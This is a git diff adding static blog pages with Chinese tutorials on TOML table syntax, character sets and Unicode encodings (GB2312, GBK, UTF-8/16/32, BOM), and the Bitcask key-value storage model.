+[owner]
+name = "Regina Dogman"
+member_since = 1999-08-04
+

点分隔键为最后一个键名前的每个键名创建并定义一个表,倘若这些表尚未被创建的话。

fruit.apple.color = "red"
+# 定义一个名为 fruit 的表
+# 定义一个名为 fruit.apple 的表
+
+fruit.apple.taste.sweet = true
+# 定义一个名为 fruit.apple.taste 的表
+# fruit 和 fruit.apple 已经创建过了
+

说实话TOML在表名重定义这块做的有点繁杂,按照作者的理解是:如果一个表已经被方括号表头形式定义过一次了,那么不能再以方括号形式定义同样的表,且使用点分隔键来再次定义这个表也是不被允许的。倘若一个表是通过点分隔符定义的,那么可以通过方括号表头的形式定义其子表。刚开始看这一坨,确实有点绕。

[creature]
+human.genderCount = 2
+
+# [creature] 非法
+# [creature.human] 非法
+
+[creature.human.female] #添加子表
+name = "trump"
+

内联表

内联表提供了一种更为紧凑的语法来表示表,它们对于分组数据特别有用,否则这些数据很快就会变得冗长,内联表被完整地定义在花括号之中:{}。 括号中,可以出现零或更多个以逗号分隔的键值对,键值对采取与标准表中的键值对相同的形式,什么类型的值都可以,包括内联表。

规范

  • 内联表得出现在同一行内
  • 内联表中,最后一对键值对后不允许终逗号(也称为尾逗号)
  • 不允许花括号中出现任何换行,除非在值中它们合法
  • 即便如此,也强烈不建议把一个内联表搞成纵跨多行的样子,如果你发现自己真的需要,那意味着你应该使用标准表
name = { first = "Tom", last = "Preston-Werner" }
+point = { x = 1, y = 2 }
+animal = { type.name = "pug" }
+

上述内联表等同于下面的标准表定义:

[name]
+first = "Tom"
+last = "Preston-Werner"
+
+[point]
+x = 1
+y = 2
+
+[animal]
+type.name = "pug"
+

内联表是完全独立的,在内部定义全部的键与子表,且不能在括号以外的地方,再添加键与子表。

[product]
+type = { name = "Nail" }
+# type.edible = false  # 非法
+

同样的,内联表不能被用于向一个已定义的表添加键或子表。

[product]
+type.name = "Nail"
+# type = { edible = false }  # 非法
+

表数组

可以把表头写在方括号里,表示是一个表数组,按照其出现顺序插入数组。

[[products]]
+name = "Hammer"
+sku = 738594937
+
+[[products]]  # 数组里的空表
+
+[[products]]
+name = "Nail"
+sku = 284758393
+
+color = "gray"
+

等价于 JSON 的如下结构。

{
+  "products": [
+    { "name": "Hammer", "sku": 738594937 },
+    { },
+    { "name": "Nail", "sku": 284758393, "color": "gray" }
+  ]
+}
+

任何对表数组的引用,都指向数组里上一个的表元素,允许在表数组内创建子表和子表数组。

[[fruits]]
+name = "apple"
+
+[fruits.physical]  # 子表
+color = "red"
+shape = "round"
+
+[[fruits.varieties]]  # 嵌套表数组
+name = "red delicious"
+
+[[fruits.varieties]]
+name = "granny smith"
+
+[[fruits]]
+name = "banana"
+
+[[fruits.varieties]]
+name = "plantain"
+

上述 TOML 等价于 JSON 的如下结构。

{
+  "fruits": [
+    {
+      "name": "apple",
+      "physical": {
+        "color": "red",
+        "shape": "round"
+      },
+      "varieties": [
+        { "name": "red delicious" },
+        { "name": "granny smith" }
+      ]
+    },
+    {
+      "name": "banana",
+      "varieties": [
+        { "name": "plantain" }
+      ]
+    }
+  ]
+}
+

表数组和子表的定义顺序不能颠倒

# 非法的 TOML 文档
+[fruit.physical]  # 子表,但它应该隶属于哪个父元素?
+color = "red"
+shape = "round"
+
+[[fruit]]  # 解析器必须在发现“fruit”是数组而非表时抛出错误
+name = "apple"
+

试图向一个静态定义的数组追加内容,即便数组尚且为空,也会在解析时报错。

# 非法的 TOML 文档
+fruits = []
+
+[[fruits]] # 不允许
+

若试图用已经确定为数组的名称定义表,会在解析时报错。将数组重定义为普通表的行为,也会在解析时报错。

# 非法的 TOML 文档
+[[fruits]]
+name = "apple"
+
+[[fruits.varieties]]
+name = "red delicious"
+
+# 非法:该表与之前的表数组相冲突
+[fruits.varieties]
+name = "granny smith"
+
+[fruits.physical]
+color = "red"
+shape = "round"
+
+# 非法:该表数组与之前的表相冲突
+[[fruits.physical]]
+color = "green"
+

拓展名

TOML配置文件的拓展名均以.toml为准

MIME类型

在互联网上传输 TOML 文件时,恰当的 MIME 类型是 application/toml

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/daily/unicode.html b/posts/code/daily/unicode.html new file mode 100644 index 0000000..f92e059 --- /dev/null +++ b/posts/code/daily/unicode.html @@ -0,0 +1,123 @@ + + + + + + + + Unicode字符集及其编码实现 | 寒江蓑笠翁 + + + + + + +

Unicode字符集及其编码实现

寒江蓑笠翁大约 41 分钟技术日志每日发现字符集编码

Unicode字符集及其编码实现

本文主要介绍Unicode字符集和它的几个实现UTF-8,UTF-16,UTF-32


在日常的写代码过程中,想必或多或少都跟Unicode打过交道,UTF-8,ISO-8859-1,UTF-16等编码出现的次数相当多,例如项目中的配置文件的编码问题,一个人打开可以正常查看并写入了配置,而另一个人打开后看到的就全是乱码,这种问题实际上也只是编码不同而造成的问题类型之一,为了能更好的去解决这类问题,所以就有必要了解相关知识。

基本概念

在了解本文的内容之前,以下基本概念需要了解。

字节

一个字节占八个比特位,它是字符大小的基本单位。

字符

字符(character),在计算机科学中,一个字符是一个单位的字形,类字形单位或符号的基本信息,可以理解为各种文字和符号的总称。它可以是中文汉字:你,也可以是英文字母:Y,或者是一个标点符号:!,还可以是一个emoji表情:🥙,以及一些不可见的控制符号。不同类型的字符在计算机存储中占用的大小可能会有所不同,比如一个英文字符通常只占用一个字节,但是一个中文字符通常占用三个字节。

字符集

字符集(character set),指某一类字符的集合。字符集会收录某一类特定的字符,比如GB2312字符集是中国国家标准总局发布的,它收录了共7445个字符,其中有六千多个汉字。不同的字符集包含的字符类型不同,在计算机上的编码方式也不同,不过具体的编码方式并不由字符集来指定和实现,字符集的作用是收录字符而不是对字符进行编码。常见的字符集有ASCII字符集,Big5字符集,Unicode字符集。

字符编码

字符编码(character encoding),字符编码就是字符映射规则。众所周知计算机只认识0和1,那么一个字符最终还是要被转换成二进制形式才能方便计算机存储和传输,字符编码要干的就是将字符以某种规则转换成计算机可以理解的二进制形式。最常见和最简单的字符编码就是ASCII编码,它规定用一个字节的低七位去编码字符,例如小写字母a的经过ASCII编码后的二进制形式就是01100001,十进制形式就是97。一般来说,一个字符集可能会有多种编码规则,不同的字符集拥有不同的编码规则。如果一个文本文件是用UTF-8进行编码的,那么在解码的时候就也应该使用UTF-8的规则,如果使用了GBK或者Big5编码的规则进行解码,就只会得到一串人类无法阅读的乱码。

提示

大部分的编码都兼容ASCII字符集,不过也有少部分不兼容,比如UTF-16编码,UTF-32编码。

编码空间

编码空间(encoding space)或者又叫码位空间,简单说就是包含所有字符的表的维度。比如说GB2312的编码空间是94x94,因为它总共就只有94x94个码位。同理ISO8859-1有256个码位,所以它的编码空间是256,也可以说是8比特。其实它的表示方式有很多种,总的来说都是在表达字符集所能容纳的字符数量。

码点

码点(code point)又称码位,指的是编码空间中的一个位置。对于一个字符而言,它在编码空间也就是字符集中所占用的码位叫码位值(有点拗口,其实两个都是一个概念)。码位值是可查的,例如在Unicode字符集中,汉字“中”的码点就是U+4E2D。


ASCII

ASCII(American Standard Code for Information Interchange,美国信息互换标准编码)是基于罗马字母表的一套字符集,发布于1967年,因为美国的主流语言是英语,ASCII字符集所包含的字符也只有英文字符,它总共有128个字符。

ASCII字符集的一部分
ASCII字符集的一部分

提示

如果想要查看更完整的ASCII字符集可以前往ASCII码对照表open in new window

ASCII采用的是单字节来表示字符,一个字节有八位,ASCII只有128个字符也就是2的7次方,相当于八位里面只有七位是有用的,所以在ASCII二进制形式中最高位默认为0,就比如第一个字符是空字符它的二进制形式是0000 0000,第128个字符是DEL字符,二进制形式是0111 1111。计算机起源于美国,早期只有美国科学家在使用这些,足够满足他们的使用。

随着计算机技术的不断发展,世界上的各个国家都引进了计算机,ASCII的局限性就体现出来了,世界上的国家有非常多,有些国家使用的语言甚至不止一种。ASCII所包含的字符总共只有128个,肯定是无法表达所有的语言的,于是欧洲将ASCII中字符闲置的最高位利用起来,对ASCII进行了拓展到了256个字符,称为EASCII(Extend ASCII),但其实256个字符也不足以统一整个欧洲的语言字符。

于是后来规定,将这256个字符中的前128个字符用于收录ASCII中的字符,也就说前128个字符与ASCII完全一致,而后128个字符根据欧洲不同的地区而收录不同的字符,这就是后来的ISO 8859系列标准(ISO/IEC 8859open in new window),下面列出一小部分:

  • ISO8859-1 字符集,也就是 Latin-1,收集了西欧字符。

  • ISO8859-2 字符集,也称为 Latin-2,收集了东欧字符。

  • ISO8859-3 字符集,也称为 Latin-3,收集了南欧字符。

  • ISO8859-4 字符集,也称为 Latin-4,收集了北欧字符。

这样改进了后,欧洲不同地区使用不同的字符集,就可以满足使用了,但是这也仅仅只是满足欧洲语言体系的使用而已,要知道光是中文汉字的数量都有十万多个,于是就有了下面要讲的汉字字符集。

汉字字符集

汉字字符集中,简体字符集中有国标系列字符集,繁体字符集有Big5。

GB2312

GB,就是”国标“的拼音GuoBiao的首字母。GB2312编码是第一个汉字编码国家标准,由中国国家标准总局1980年发布,它的全名叫《国家标准信息交换用汉字编码字符集-基本集》。在1981年5月1日开始使用。GB2312编码共收录汉字6763个,其中一级汉字3755个,二级汉字3008个。同时,GB2312编码收录了包括拉丁字母、希腊字母、日文平假名及片假名字母、俄语西里尔字母在内的682个全角字符,前往GB2312查表open in new window可以前往查询GB2312编码表。

分区编码

GB2312对收录的字符的表示是分区进行的,一共94个区,每个区有94个位,共有8836个位,这种表示方式称为区位码。下面展示前两个区的字符表。

01 0 1 2 3 4 5 6 7 8 9
+
+0     、 。 · ˉ ˇ ¨ 〃 々
+
+1 — ~ ‖ … ‘ ’ “ ” 〔 〕
+2 〈 〉 《 》 「 」 『 』 〖 〗
+3 【 】 ± × ÷ ∶ ∧ ∨ ∑ ∏
+4 ∪ ∩ ∈ ∷ √ ⊥ ∥ ∠ ⌒ ⊙
+5 ∫ ∮ ≡ ≌ ≈ ∽ ∝ ≠ ≮ ≯
+6 ≤ ≥ ∞ ∵ ∴ ♂ ♀ ° ′ ″
+7 ℃ $ ¤ ¢ £ ‰ § № ☆ ★
+8 ○ ● ◎ ◇ ◆ □ ■ △ ▲ ※
+9 → ← ↑ ↓ 〓
+
+02 0 1 2 3 4 5 6 7 8 9
+0   ⅰ ⅱ ⅲ ⅳ ⅴ ⅵ ⅶ ⅷ ⅸ
+1 ⅹ       ⒈ ⒉ ⒊
+2 ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔
+3 ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⑴ ⑵ ⑶
+4 ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀
+5 ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ① ② ③
+6 ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩   ㈠
+7 ㈡ ㈢ ㈣ ㈤ ㈥ ㈦ ㈧ ㈨ ㈩ 
+8  Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ Ⅷ Ⅸ
+9 Ⅹ Ⅺ Ⅻ
+

下面是分区的规则:

  • 每一个区的第0位不记录字符
  • 01-09区收录除汉字外的682个字符。
  • 10-15区为空白区,没有使用。
  • 16-55区收录3755个一级汉字,按拼音排序。
  • 56-87区收录3008个二级汉字,按部首/笔画排序。
  • 88-94区为空白区,没有使用。

GB2312既指GB2312字符集,也指GB2312编码。它采用的是双字节编码,第一个字节为高字节,第二个字节为低字节,高字节用于记录字符对应的94个区中的每一个区,低字节用于记录字符一个区中对应的94个位。例如汉字"啊",是GB2312字符集中的第一个汉字,位于16区的01位,对应的区位码就是1601,GB2312的区位码范围就是0101-9494。

区号和位号分别加上0xA0就是GB2312编码,比如1601的区号是16,位号是01,转换成十六进制就是10和01,高字节为0xA0+0x10=0xB0,低字节为0xA0+0x01=0xA1,高低字节组合起来就是0xB0A1,所以汉字“啊”的GB2312编码就是B0A1。GB2312编码范围:A1A1-FEFE,其中汉字的编码范围为B0A1-F7FE,第一字节0xB0-0xF7(对应区号:16-87),第二个字节0xA1-0xFE(对应位号:01-94)。

GB2312字符集总共收录了八千多个字符,当时国内的计算机需求并不旺盛,GB2312所以可以满足基本的日常使用。但是随着技术的发展也明显不够用了,于是就有了后来的GBK。

Big5

“大五码”(Big5)是由台湾财团法人信息产业策进会为五大中文套装软件所设计的中文共通内码,在1983年12月完成公告,隔年3月,信息产业策进会与台湾13家厂商签定“16位个人电脑套装软件合作开发(BIG-5)项目(五大中文套装软件)”,因为此中文内码是为台湾自行制作开发之“五大中文套装软件”所设计的,所以就称为Big5中文内码。

Big5是最常用的繁体中文字符集,共收录13,060个汉字,最初流行于港澳台地区,后面被收录进了GBK。Big5字符集的双字节的编码方式,分高低两个字节,然后组成Big5编码,图示如下:

CJK

中日韩统一表意文字(英语:CJK Unified Ideographs),也称统一汉字(英语:Unihan),目的是要把分别来自中文、日文、韩文、越南文、壮文中,起源相同、本义相同、形状一样或稍异的表意文字,赋予其在UISO 10646及万国码标准中相同编码。此计划原本只包含中文、日文及韩文中所使用的汉字,旧称中日韩(CJK)统一表意文字(Unified Ideographs)。后来,此计划加入了越南文的喃字,所以合称中日韩越(CJKV)统一表意文字。

GBK

GBK,是”国标扩展“拼音GuoBiaoKuoZhan的首字母。1995年12月发布的汉字编码国家标准,是对GB2312编码的扩充,所以完全兼容GB2312字符集,除此之外也支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字(包含部分CJK),还包含了Big5字符集,共收录了21886个字符。

编码

在编码上GBK同样也还是采用的双字节编码,范围在0x8140-0xFEFE之间,高字节在0x81-0xFE范围内,低字节在0x40-0xFE范围内。GBK中总共有三大区:

  • 汉字区
    • GB2312汉字区
    • GB13000.1扩充汉字区
  • 图形符号区
    • GB2312非汉字区
    • GB13000.1扩充的非汉字区
  • 自定义区

下面展示一些GBK中81区到8F区的字符表

81 0 1 2 3 4 5 6 7 8 9 A B C D E F
+4 丂 丄 丅 丆 丏 丒 丗 丟 丠 両 丣 並 丩 丮 丯 丱
+5 丳 丵 丷 丼 乀 乁 乂 乄 乆 乊 乑 乕 乗 乚 乛 乢
+6 乣 乤 乥 乧 乨 乪 乫 乬 乭 乮 乯 乲 乴 乵 乶 乷
+7 乸 乹 乺 乻 乼 乽 乿 亀 亁 亂 亃 亄 亅 亇 亊
+8 亐 亖 亗 亙 亜 亝 亞 亣 亪 亯 亰 亱 亴 亶 亷 亸
+9 亹 亼 亽 亾 仈 仌 仏 仐 仒 仚 仛 仜 仠 仢 仦 仧
+A 仩 仭 仮 仯 仱 仴 仸 仹 仺 仼 仾 伀 伂 伃 伄 伅
+B 伆 伇 伈 伋 伌 伒 伓 伔 伕 伖 伜 伝 伡 伣 伨 伩
+C 伬 伭 伮 伱 伳 伵 伷 伹 伻 伾 伿 佀 佁 佂 佄 佅
+D 佇 佈 佉 佊 佋 佌 佒 佔 佖 佡 佢 佦 佨 佪 佫 佭
+E 佮 佱 佲 併 佷 佸 佹 佺 佽 侀 侁 侂 侅 來 侇 侊
+F 侌 侎 侐 侒 侓 侕 侖 侘 侙 侚 侜 侞 侟 価 侢
+
+82 0 1 2 3 4 5 6 7 8 9 A B C D E F
+4 侤 侫 侭 侰 侱 侲 侳 侴 侶 侷 侸 侹 侺 侻 侼 侽
+5 侾 俀 俁 係 俆 俇 俈 俉 俋 俌 俍 俒 俓 俔 俕 俖
+6 俙 俛 俠 俢 俤 俥 俧 俫 俬 俰 俲 俴 俵 俶 俷 俹
+7 俻 俼 俽 俿 倀 倁 倂 倃 倄 倅 倆 倇 倈 倉 倊
+8 個 倎 倐 們 倓 倕 倖 倗 倛 倝 倞 倠 倢 倣 値 倧
+9 倫 倯 倰 倱 倲 倳 倴 倵 倶 倷 倸 倹 倻 倽 倿 偀
+A 偁 偂 偄 偅 偆 偉 偊 偋 偍 偐 偑 偒 偓 偔 偖 偗
+B 偘 偙 偛 偝 偞 偟 偠 偡 偢 偣 偤 偦 偧 偨 偩 偪
+C 偫 偭 偮 偯 偰 偱 偲 偳 側 偵 偸 偹 偺 偼 偽 傁
+D 傂 傃 傄 傆 傇 傉 傊 傋 傌 傎 傏 傐 傑 傒 傓 傔
+E 傕 傖 傗 傘 備 傚 傛 傜 傝 傞 傟 傠 傡 傢 傤 傦
+F 傪 傫 傭 傮 傯 傰 傱 傳 傴 債 傶 傷 傸 傹 傼
+.
+.
+.
+8F 0 1 2 3 4 5 6 7 8 9 A B C D E F
+4 廆 廇 廈 廋 廌 廍 廎 廏 廐 廔 廕 廗 廘 廙 廚 廜
+5 廝 廞 廟 廠 廡 廢 廣 廤 廥 廦 廧 廩 廫 廬 廭 廮
+6 廯 廰 廱 廲 廳 廵 廸 廹 廻 廼 廽 弅 弆 弇 弉 弌
+7 弍 弎 弐 弒 弔 弖 弙 弚 弜 弝 弞 弡 弢 弣 弤
+8 弨 弫 弬 弮 弰 弲 弳 弴 張 弶 強 弸 弻 弽 弾 弿
+9 彁 彂 彃 彄 彅 彆 彇 彈 彉 彊 彋 彌 彍 彎 彏 彑
+A 彔 彙 彚 彛 彜 彞 彟 彠 彣 彥 彧 彨 彫 彮 彯 彲
+B 彴 彵 彶 彸 彺 彽 彾 彿 徃 徆 徍 徎 徏 徑 従 徔
+C 徖 徚 徛 徝 從 徟 徠 徢 徣 徤 徥 徦 徧 復 徫 徬
+D 徯 徰 徱 徲 徳 徴 徶 徸 徹 徺 徻 徾 徿 忀 忁 忂
+E 忇 忈 忊 忋 忎 忓 忔 忕 忚 忛 応 忞 忟 忢 忣 忥
+F 忦 忨 忩 忬 忯 忰 忲 忳 忴 忶 忷 忹 忺 忼 怇
+

例如第一个汉字丂位于81区,位置在4行0列,所以它的GBK编码为8140。

GB18030

2000年3月17日发布的汉字编码国家标准,是对GBK编码的扩充,覆盖中文、日文、朝鲜语和中国少数民族文字,其中收录27484个汉字。GB18030字符集采用单字节、双字节和四字节三种方式对字符编码。兼容GBK和GB2312字符集。2005年11月8日,发布了修订版本:GB18030-2005,共收录汉字七万余个。2022年7月19日,发布了第二次修订版本:GB18030-2022,收录汉字总数八万余个。

编码

GB18030编码向下兼容GBK编码和GB2312编码,它采用了单字节、双字节、四字节分段编码方案。

  • 单字节部分采用GB/T 11383的编码结构与规则,使用0x00至0x7F码位共128个字符(对应ASCII码位)。

  • 双字节部分,首字节码位从0x81至0xFE,尾字节码位分别是0x40至0x7E和0x80至0xFE。

  • 四字节部分采用GB/T 11383未采用的0x30到0x39作为对双字节编码扩充的后缀,这样扩充的四字节编码,其范围为0x81308130到0xFE39FE39。其中第一、三个字节编码码位均为0x81至0xFE,第二、四个字节编码码位均为0x30至0x39

下表是GB18030-2022收录的汉字。

Unicode

Unicode,它是由Unicode联盟创建并维护的,中文名为统一码,由于它收录了世界上绝大多数国家的字符所以又称作万国码。它提供了一种跨平台的乱码问题解决方案,Unicode使用数字来处理字符,为每一个字符指定一个唯一的代码,并将字符视觉上的任务交给其他软件来自行处理。Unicode的编码空间从U+0000到U+10FFFF,共有1,112,064个码位可用来映射字符。

Unicode是当今互联网最流行的字符集发展自USC(ISO/IEC 10646),首个版本发布于1991年10月,最初的目标是为了解决ISO 8859-1所不能解决的计算机多语问题(即一台电脑可以处理多个语言混合的情况),最新版本的Unicode15发布于2022年9月,共收录了161种文字和14万多个字符,现在成为了国际标准通用字符集。

UTF指的是Unicode Transformation Format中文称为Unicode转换格式,Unicode的编码实现方式中最流行的当属于UTF-8,除此之外还有UTF-16和不怎么常用的UTF-32,以及被淘汰了的UTF-7。

UTF8

UTF-8(8-bit Unicode Transformation Format),是由Ken Thompson和Robo Pike(他们两个在后来还共同设计了Go语言)共同设计并提出。UTF8是基于Unicode实现的可变长编码,在日后随着计算机的普及,UTF8的编码的使用率高达95%以上,以至于IETF互联网工程小组甚至要求所有的互联网协议都必须支持UTF8。

提示

Mysql字符编码集中,同时支持utf8和uftmb4,前者一个字符最多占用3个字节,后者一个字符最多占用4个字节,utf8mb4才是utf8的完整实现。

UTF-8最初使用一至六个字节为每个字符编码,2003年11月UTF-8被RFC 3629重新规范,只能使用原来Unicode定义的区域,U+0000到U+10FFFF,也就是说最多四个字节,UTF-8对于所有常用的字符差不多都可以采用三个字节来表示。在UTF-8编码中,对于一个任意字节B,有着如下规则:

  • 对于UTF-8编码中的任意字节B,如果B的第一位为0,则B独立的表示一个字符(ASCII码)
  • 如果B的第一位为1,第二位为0,则B为一个多字节字符中的一个字节(非ASCII字符)
  • 如果B的前两位为1,第三位为0,则B为两个字节表示的字符中的第一个字节
  • 如果B的前三位为1,第四位为0,则B为三个字节表示的字符中的第一个字节
  • 如果B的前四位为1,第五位为0,则B为四个字节表示的字符中的第一个字节

通过第二条规则可以很轻易的判断出该字符是不是一个ASCII字符。对于一个任意字符,如果它占用的字节大于1,那么除了第一个字节外,其余字节都以10开头,如下表。

码点的位数码点起值码点终值字节序列Byte 1Byte 2Byte 3Byte 4Byte 5Byte 6
7U+0000U+007F10xxxxxxx
11U+0080U+07FF2110xxxxx10xxxxxx
16U+0800U+FFFF31110xxxx10xxxxxx10xxxxxx
21U+10000U+1FFFFF411110xxx10xxxxxx10xxxxxx10xxxxxx
26U+200000U+3FFFFFF5111110xx10xxxxxx10xxxxxx10xxxxxx10xxxxxx
31U+4000000U+7FFFFFFF61111110x10xxxxxx10xxxxxx10xxxxxx10xxxxxx10xxxxxx

例如中文简体汉字“爱”的Unicode码点为U+7231,位于U+0800 - U+FFFF范围内,所以爱的UTF-8编码需要三个字节,接下来将0x7231转换成二进制形式,从最低位开始每一次取6位,最后一次取成4位,不够的补0,最后就是如下二进制

0111 001000 110001
+

根据规则填入后就变成了如下,可以看出就是三个字节的大小

1110xxxx 10xxxxxx 10xxxxxx
+11100111 10001000 10110001
+

不过一般用于表述时的使用形式是十六进制

E7 88 B1
+

UTF-8编码的字符可以很轻易的通过第一个字节得知该字符占用的字节数。

UTF16

UTF-16是Unicode字符集的一种变长编码实现方式,它把Unicode字符集的抽象码位映射成16位长的整数序列,用于数据存储和传递,它使用两个或四个字节来编码字符,编码规则如下,已知Unicode范围是U+0000 - U+10FFFF。

码点起值码点终值字节规则
U+0000U+D7FF2UTF16-编码就是Unicode码点,不进行任何转换
U+E000U+FFFF2UTF16-编码就是Unicode码点,不进行任何转换
U+10000U+10FFFF4码位减去0x10000,转换成二进制,得到20位二进制序列。高10位的值加上0xD800形成一个16个序列,低十位的值加上DC00形成一个16位序列,然后再拼成一个完整的二进制序列,就得到了一个Unicode字符的UTF-16编码。
U+D800U+DFFF不对应任何字符,算作编码错误

比如美元符号"$",它的Unicode码点是U+0024,它并不在U+10000到U+10FFFF的范围内,所0024就是它的UTF-16编码,占用两个字节。

再比如符号𐐷的码点是U+10437,二进制序列是

0001 0000 01 00 0011 0111
+

高十位加上0xD800,低十位加上0xDC00,就变成了下方的序列

1101 1000 0000 0001 1101 1100 0011 0111
+

它的十六进制形式是

D801 DC37
+

它的UTF-16编码占用4个字节,这种编码方式并不兼容ASCII码。

UTF32

UTF-32是固定长度编码,每个码位使用4个字节,Unicode码位直接存储位UTF-32编码,没有任何规则。这种编码几乎没有使用,因为它极大的浪费了空间,由UTF-32所编码的文件占用大概是UTF-16的两倍,UTF-8的四倍。

它唯一的优点就是定索引非常方便,因为是定长编码,字符位置直接使用十进制数,每加一就是下一个字符。

其他概念

字节序

对于UTF序列编码而言,UTF-8不存在字节序问题,因为它的编码单元就是一个字节,没有高低位之分,一次取一个字节就完事。但是UTF-16和UTF-32不同,它至少每次要处理两个字节或4个字节,这就涉及到了字节序的问题。例如Unicode字符集中的汉字“你”,UTF-8编码为EDBDA0,这是大端序,小端序就是低位在低地址,高位在高地址,就是反过来0ADBDE,反正读取时都是从低地址开始读,结果都是一样的。所以这并不会产生什么问题。

汉字”你“的UTF-16的大端编码是4F60,小端是604F,它的单位是两个字节,读取时都是从低地址开始读的,不知道大小端序的话,就不清楚谁是高位字节,谁是低位字节,如果本身是大端序,按照小端序读取的话就成了604F,这完全变成另一个字符了,UTF-32同理。

所以应该显式的告诉计算机是大端序还是小端序,因此UTF-16编码分为UTF-16BE和UTF-16LE,同理也UTF-32也分为UTF-32BE和UTF-32LE。

BOM

BOM(byte order mark),中文名为字节序标记。UTF系列的文件通常用零宽非换行空格符(U+FEFF)用于标记大小端序。UTF-8文件有时候也会用到它,不过仅仅只是用来标记该文件是UTF-8文件,它的UTF-8编码是EF BB BF。对于UTF-16的文件而言,标记是FE FF,就是大端序,FF FE就是小端序。

据说给UTF-8文件加BOM头是微软为了兼容旧系统的编码,但是这可能在其他的操作系统就不一定适用了,比如Unix,因为他们的设计原则是“文档中的所有字符必须可见”,所以在windows系统上编写的shell脚本,在unix上就不一定能运行,一些源代码文件也可能会出现编译问题。

总结

一图胜千言,下面这张图可以很直观的看出各个字符集之间的关系。

国标系列的GB字符集从始至终都向下兼容,在后续更新中慢慢的还囊括了CJK,Big5等其他语种的字符集,但可能并不兼容。ISO8859是早期欧洲为了方便因国家之间语言的细微差异而在ASCII基础之上衍生的一系列字符集。Unicode与GB18030相互不兼容,两者都想收录世界上的绝大多数语言的文字和字符,只不过目前来看Unicode更流行一些,Unicode同时还兼容ISO8859-1。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/db/bitcask.html b/posts/code/db/bitcask.html new file mode 100644 index 0000000..6770ef7 --- /dev/null +++ b/posts/code/db/bitcask.html @@ -0,0 +1,68 @@ + + + + + + + + 存储模型 --- Bitcask | 寒江蓑笠翁 + + + + + + +

存储模型 --- Bitcask

寒江蓑笠翁大约 13 分钟数据库bitcaskkv存储模型

存储模型 --- Bitcask


简介

在面向磁盘的Key/value数据库设计中,常见存储模型的有B+Tree,LSM,前者读性能优秀,后者写性能优秀,它们两个已经有了非常多的实践案例,比如基于B+Tree的BoltDB,基于LSM的LevelDB。不过今天的主角讲的并不是它们两个,而是另一个存储模型Bitcask,它最早是由一个日本分布式存储公司Riak提出的理论,与LSM类似,它也是日志结构,不过实现起来要比LSM简单的多。

Bitcask文档:riak-bitcaskopen in new window

Riak公司最初希望寻找一个满足以下条件的存储引擎

  • 读写低延迟
  • 高吞吐量随机写入
  • 在高负载情况下,行为可以预测
  • 具有处理比内存更大空间数据的能力
  • 崩溃友好,可以快速恢复而不丢失数据
  • 易于备份和恢复
  • 简单易懂的数据格式,且易于实现
  • 简单的使用协议

找到满足上面部分条件的很容易,但是满足全部条件的几乎没有,于是这促使他们开始自己去研究一种日志化结构的KV存储引擎,受到LSM的启发,而后便设计了Bitcask这一个可以满足上述所有要求的存储模型,所以Bitcask实际上也是一种类LSM的结构。

设计

在了解完Bitcask的历史后,下面来说说它究竟是如何设计的。

一个Bitcask实例就是一个文件夹,文件夹存放着若干个数据文件,这些文件分为Active Data File和Older Data File。在某一时刻,数据会被写入到Active Data File也就是活跃文件,当文件存放的数据达到阈值后,当前活跃文件将被关闭并成为旧数据文件,旧数据文件一旦被关闭过后,日后永远都不会再对其写入数据。然后会创建一个新的活跃数据文件用于写入新数据,同一时刻只能有一个进程对活跃数据文件写入数据。文件的写入操作是通过追加(append only)的方式进行,由于是顺序IO所以不需要多余的磁盘寻址操作。

Bitcask的数据格式同样很简单,如图所示,由以下几个部分组成

  • crc,循环冗余校验码
  • tstamp,时间戳
  • ksz,键的所占用的空间大小
  • value_sz,值所占用的空间大小
  • key,存放键
  • value,存放值

每一次对活跃数据文件写入数据,就会添加一条新的数据条目,对于删除操作而言,并不会真的去删除文件里面的数据,而且将其作为一个特殊的数据条目写入文件中来标记该数据被删除,待到下次文件合并时,数据才会被真正的删除。Bitcask数据文件只不过是这些数据条目的线性序列,如下图所示。

在向磁盘写完数据以后,就会去更新keydir"。"keydir"并不是一个真的文件夹,它是一个维护在内存中的索引结构,负责映射每一个key的元信息。这些元信息包括

  • file_id,标识数据存放在哪一个文件
  • value_sz,数据所占用的空间大小
  • value_pos,数据在文件中的位置
  • tstamp,时间戳

如下图所示

当更新数据时,并不会去更新旧数据文件中的指定数据条目,而是向当前的活跃数据文件添加新的数据条目,然后keydir会原子的更新最新数据的位置,旧数据依旧保存在磁盘中,往后的数据读取操作会使用keydir中的最新位置来进行访问,至于旧数据条目会在后续的合并过程中被删除。

对于读数据而言,只需要进行一次磁盘寻道。首先会从内存中维护的keydir找到与之匹配的数据元信息,得知数据存放在哪一个文件,以及文件中的位置信息,然后再去对应的数据文件中读取响应的数据条目信息,凭借着操作系统的预读文件缓存,这一过程可能会比预期的还要更快。

在上面的删除和更新操作中,都会产生额外的新数据条目,对于旧数据条目则不会再使用,随着时间的推移,这种冗余的数据条目会越来越多,就会占用相当大一部分的空间,为此需要就需要去清理这些旧的数据文件,这个过程就称之为合并。在合并过程中,会遍历所有的旧数据文件,然后输出一系列只包含最新数据的文件,在合并的同时,还会创建Hint File,也就是索引文件,每一个合并过后的Merged Data File都有一个对应的Hint File,Hint File中的数据条目与内存中的keydir相对应,前者是后者的持久化体现。Hint File只存储数据元信息,并不存储实际的数据,它的作用是为了在Bitacask实例启动时,更快速的构建内存索引。

这些就是Bitcask所有的设计内容,可以看得出确实比较简单和容易理解。官方还做了以下几点的说明

  1. Bitcask读性能依赖于操作系统的文件系统缓存,他们曾经讨论设计过关于Bitcask的内部缓存,这可能会使Bitcask变得更复杂,且不清楚这样做的带来的性能收益是否可以抵过随之而来的复杂性,毕竟设计的初衷就是要足够简单。
  2. Bitcask不会对数据进行任何的压缩,因为这种行为的收益与损耗依赖具体的应用。
  3. 在早期的测试中,一台低配的笔记本电脑上,Bitcask每秒可以执行5000-6000次左右的写入操作。
  4. 在早期的测试中,Bitcask可以存储10倍于内存的数据而不会出现性能下降的情况。
  5. 在早期的测试中,即便有数百万个key,keydir所占用的内存也不到GB。

总结

